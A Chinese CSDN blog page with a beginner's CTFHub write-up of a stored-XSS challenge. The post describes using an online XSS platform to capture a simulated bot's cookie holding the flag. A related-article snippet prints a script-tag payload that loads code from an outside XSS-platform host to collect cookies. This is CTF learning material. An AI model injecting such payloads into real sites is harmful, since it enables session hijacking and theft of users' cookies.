CTFHub | web——xss（存储型）

最新推荐文章于 2024-08-05 08:30:00 发布
最新推荐文章于 2024-08-05 08:30:00 发布
阅读量736 收藏 2
点赞数
分类专栏： CTF小白进阶之路 文章标签： 前端 xss
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_76435948/article/details/133324321
版权

XSS存储型

题目

在这里插入图片描述

小知识

  1. 存储型XSS，顾名思义是恶意参数被存储起来了，通常存储在后端服务器当中，所以存储型XSS在URL地址当中不会包含恶意参数。
  2. 一般情况下，当攻击者将攻击代码通过表单传递到服务器当中去，会得到一个新页面的地址，这个地址中URL并没有明显异常；但当存在存储型XSS时，受害者打开此URL，攻击代码将会被触发，这种情况下便称之为存储型XSS漏洞。

题解

在这里插入图片描述
提交后无任何变化
在这里插入图片描述

1. 注册XSS平台账号并创建项目

xss平台传送门
在这里插入图片描述

在这里插入图片描述

2. 复制代码粘贴到ctfhub题的第一个框中

在这里插入图片描述
在这里插入图片描述

提交后：
在这里插入图片描述
将本页url粘贴到第二个框中：
在这里插入图片描述

去xss平台查看结果，找flag

在这里插入图片描述在这里插入图片描述
得到flag

剑心诀
关注
专栏目录
ctf xss利用_利用存储型XSS跨站漏洞偷取用户Cookie实战
weixin_42611310的博客
02-23 1635
声明 :严禁读者利用以下介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !攻击者要偷取Cookie , 就要让他们精心构造的恶意代码在受害者的计算机上运行 , 一般来说 , 是在用户访问一个网页的时候执行一段JavaScript代码 , 这段代码会...
ctfhub——web——xss
weixin_43906500的博客
05-14 272
题目如下，为反射型xss
ctfhub-技能树-xss题集全部习题详解-最新
weixin_73562787的博客
08-10 3845
结合</textarea>'"><script src=http://xsscom.com//He7bc3></script>构成上面源码部分闭合符合条件，可以删掉</textarea>'">不影响。分析一下，代码意思是 从当前页面的URL中获取查询字符串（URL的get参数），如果参数名为"jumpto"，则将页面重定向到参数值所指定的URL。然后再复制url，把它复制到第二个框框发送，在我们的xss平台的项目中就会显示刚刚的数据包的信息，在cookie中发现了flag。
CTFhub之xss漏洞
weixin_46954909的博客
05-15 777
前期了解：上半部分是用户执行的操作，下半部分是模拟服务器的操作。
CTFHUB-XSS-存储型
最新发布
weixin_68416970的博客
08-05 333
CTFHUB技能树、XSS、存储型的通关教程；超详细！！！
CTFHub xss存储型 wp
qq_73661602的博客
07-20 978
CTFHub xss存储型 wp
CTFHub——XSS
2302_79119987的博客
03-28 1266
"fangfa('可控点')"> 使用 ” 闭合：与上题解题思路一致，用插入语句后用xss平台找到flag，插入语句后发现无回显（模拟黑客发送xss到服务器），查找源码，发现插入成功。将xss代码输入测试栏，发现url地址有变化，将url地址复制到url地址栏，上传成功后在xss平台查看cookie。尝试注入，查看源码发现过滤空格，url地址不对，使用/**/过滤。
CTFHUB-XSS-反射型
weixin_68416970的博客
08-03 549
CTFHUB技能树、XSS、反射型的详细教程
CTFHub | 存储型
尼泊罗河伯的博客
01-05 1232
检查网页显示内容发现有一个输入框以及一个提交表单。可以在这个输入框中输入你的名字并提交。第二个输入框是发送构造好的 XSS 链接给机器人模拟执行。
Ctfhub解题 web XSS反射型
weixin_46703850的博客
03-16 662
Ctfhub解题 web XSS反射型 介绍:记录解题过程 XSS Reflex提交1,弹窗 利用XSS platform平台 在XSS platform平台上面注册一个账号,创建一个项目：（根据提示创建即可） 配置 查看代码 根据提示，把XSS平台给出的代码复制到第一个输入框(XSS Reflex)中进行注入 提交后，在第二个框中访问第一个框注入XSS脚本后的网址 提交后，在XSS平台查看注入结果，即可得到flag cookie : flag=ctfhub{8
ctfhub web全部做题记录(持续跟新)
01-08
【Web安全】Web安全是网络安全的一个重要分支，主要关注Web应用程序的安全性，防止诸如SQL注入、XSS攻击、文件上传漏洞等威胁。 【信息泄露】信息泄露是指由于配置错误或不安全的设置导致敏感信息暴露。在描述中...
Web应用安全：存储型XSS.pptx
06-18
存储型XSS攻击流程 存储型XSS简介 存储型XSS是一种将恶意代码保存到服务器端的攻击方式，如在个人信息或发表文章等地方，插入代码，每当有用户访问包含恶意代码的页面时，就会触发代码的执行，从而达到攻击目的。 有别于反射型XSS编写一次代码只能进行一次攻击的特点，存储型XSS的恶意脚本一旦存储到服务器端，就能多次被使用，称之为“持久型XSS”。 存储型XSS简介 1.存储型XSS的攻击原理 1.攻击者在交互页面输入恶意代码，然后提交到web程序，如果web程序对输入内容没有做XSS的防范，就会将恶意代码存储到数据库中。 2.接下来只要有用户去访问和查看攻击者提交的内容，当web应用响应用户请求时，恶意代码就会从服务端读取出来并执行。 3.因此，存储在服务端的恶意代码可以多次攻击不同的用户。 4.例如，有一个发表动态的网站，攻击者可以在发表动态的表单中提交恶意代码，其他用户去查看攻击者的这条动态消息的时候，这些恶意脚本从服务端加载下来，被浏览器所解析和执行。 存储型XSS简介 2.存储型XSS与反射型XSS的不同点 存储型XSS攻击有时候只需要用户浏览界面就能被攻击，二反射型XSS还需要
CTFHUB学习题解Web（3）- 密码口令与XSS
独沐晨霖
07-23 1595
注： 1.是个正在学习的新手，连脚本小子都不够格 2. 很多题目都很基础，但是都做了详细截图 3. 题库尚不完全，没有内容的分支先直接跳过，等题库更新再做添加 4. 大标题为版块名，小标题为题目名 5. 个人学习记录和复习使用，如有错误欢迎指正 文章目录密码口令弱口令默认口令XSS反射型 密码口令 弱口令 并不知道用户名和密码，用burp抓包 对用户名和密码进行cluster bomb模式爆破 爆破成功得到flag 默认口令 既然是默认口令就要查找这个“eYou邮件网关”的默认用户名和密码 登
ctfhub之xss
小宇的web博客
05-22 1682
ctfhub之xss 1.我接触使用过三个XSS平台 1.脚本非常丰富：http://www.1oad.com 2.简约：https://xsspt.com 3.非常好用，自带模块成功获取到了内网ip(上面两个都没有成功)：https://xsshs.cn 所以我这个文章也是简单的说说如何使用XSS平台，以第三个平台为例说明； 解题流程 1.先在上面的what’s your name 输入JavaScript语句，发现出错只能使用xss平台在下面的对话框中进行xss漏洞注入。 这里先注册一下xss测试平
CTFHUB-WEB-XSS-存储型
weixin_49539962的博客
08-07 358
和反射型是一样的，使用xss platform。
CTFHub技能树web之XSS
wzhwzh123321的博客
02-26 1628
在XSS系列的题目中，由于需要使用能够接受XSS数据的平台，并且由于使用的是CTFHub的模拟机器人点击我们的虚假URL，因此使用的XSS平台不能是自己本地搭建的，如果是本地的模拟点击的机器人将无法访问我们给的这个URL地址，也就无法接收到我们想要的数据了，因此想解决本系列的题目，可以通过在线XSS平台或者自己使用服务器搭建一个XSS平台。可以看到可控的位置在53-55行中的这个位置，先闭合前面的单引号和<script>，然后再用一个<script>输入XSS代码，构造语句如下';第三题： DOM反射。
CFTHub XSS
Resets_的博客
05-08 654
CTF hub XSS
[ctfhub]-xss详解
weixin_52116519的博客
04-28 5069
1、明确cookie的作用 当你登录账号密码，服务端就会给你一个cookie，这样你在这个平台上的操作就带上了cookie来验证身份，而不用每一次操作都要你登录账号密码。cookie相当于每个人的登录凭证，如果得到了别人的cookie，特别是管理员的，我们将可以不用输账号密码，直接登录，从而获取管理员权限。 2、XSS的目的 获取别人的cookie。 Web渗透测试之XSS攻击：反射型XSS 获得cookie的方法：我们在有XSS漏洞的搜索栏中输入<script>alert(document.c
基于hadoop构建对象存储系统_对象存储添加Hadoop、OpenStack插件
weixin_39588252的博客
12-18 181
【IT168 资讯】对象存储初创公司Scality将其存储添加到Hadoop，使用户可避免通过Hadoop自己的文件系统加载数据。他们还推出了一款针对Cinder——在OpenStack项目里面的块存储层的插件。RING是基于一组X86服务器节点的对象存储基础架构，存储对象而不是文件或块，而且可以并行操作。Scality提供的一个被称为“生产级Hadoop存储实施”使用了CDMI——由SNIA开发...
ctfhub DOM型xss
07-28
CTFHub 是一个知名的 CTF 平台，DOM 型 XSS 是其中的一种常见的漏洞类型。DOM（Document Object Model）型 XSS 漏洞是指攻击者通过修改网页的 DOM 结构，注入恶意的脚本代码，并在用户浏览器中执行，从而实现攻击目标的攻击方式。 要进行 DOM 型 XSS 攻击，攻击者通常会利用网站前端的 JavaScript 代码中存在的漏洞，通过修改 DOM 树结构来注入恶意脚本。这些脚本可以窃取用户的敏感信息、劫持用户会话、篡改页面内容等。 防御 DOM 型 XSS 攻击的方法主要包括以下几点： 1. 输入过滤和验证：对用户输入的数据进行过滤和验证，确保只允许合法的数据进入系统。 2. 输出编码：将输出到页面的数据进行适当的编码，防止恶意脚本被执行。 3. 使用安全的 API：避免使用不安全的 DOM 操作函数，例如 innerHTML、eval 等。 4. Content Security Policy（CSP）：设置合适的 CSP 策略，限制页面中可执行的脚本来源。 5. 使用浏览器提供的防护机制：现代浏览器已经提供了一些内置的防护机制，如跨站脚本保护（XSS Auditor）等。 希望这些信息对你有帮助，如果你有其他问题，请继续提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剑心诀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值